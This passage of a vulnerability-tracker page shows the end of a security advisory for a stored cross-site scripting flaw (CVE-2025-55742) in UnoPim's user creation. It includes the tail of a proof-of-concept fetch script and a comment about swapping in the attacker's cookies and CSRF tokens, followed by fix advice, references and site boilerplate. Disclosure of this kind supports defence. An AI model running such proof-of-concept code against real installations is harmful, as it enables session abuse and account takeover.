Error(\u0027Network response was not ok \u0027 + response.statusText);\n }\n return response.json(); // Assuming the response is JSON\n})\n.then(data =\u003e {\n console.log(\u0027Success:\u0027, data);\n})\n.catch(error =\u003e {\n console.error(\u0027Error:\u0027, error);\n});\n\u003c/script\u003e\n\u003chtml\u003e\n```\n// make sure to update the cookies and CSRF tokens in the script to the attacker\u0027s.\n\nRecommendation:\nCheck file extension: whitelist allowed extensions.\nCheck mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it.\nCheck file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place.\n\nAffected Version: 0.1.6\n",
"id": "GHSA-xr97-25v7-hc2q",
"modified": "2025-08-26T15:26:36Z",
"published": "2025-08-21T14:25:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/unopim/unopim/security/advisories/GHSA-xr97-25v7-hc2q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55742"
},
{
"type": "WEB",
"url": "https://github.com/unopim/unopim/commit/49d5f6ac4d5d9ef7d9cdfe01853234d531c55f75"
},
{
"type": "WEB",
"url": "https://github.com/unopim/unopim/commit/b596021b5a5e0656abe16c01ae0e84c95f9fe902"
},
{
"type": "WEB",
"url": "https://github.com/unopim/unopim/commit/b5e169e65725e0d80b6c79d57e62a25e1af6a3c3"
},
{
"type": "WEB",
"url": "https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2"
},
{
"type": "PACKAGE",
"url": "https://github.com/unopim/unopim"
},
{
"type": "WEB",
"url": "https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "UnoPim has Stored Cross-site Scripting vulnerability in user creation functionality"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…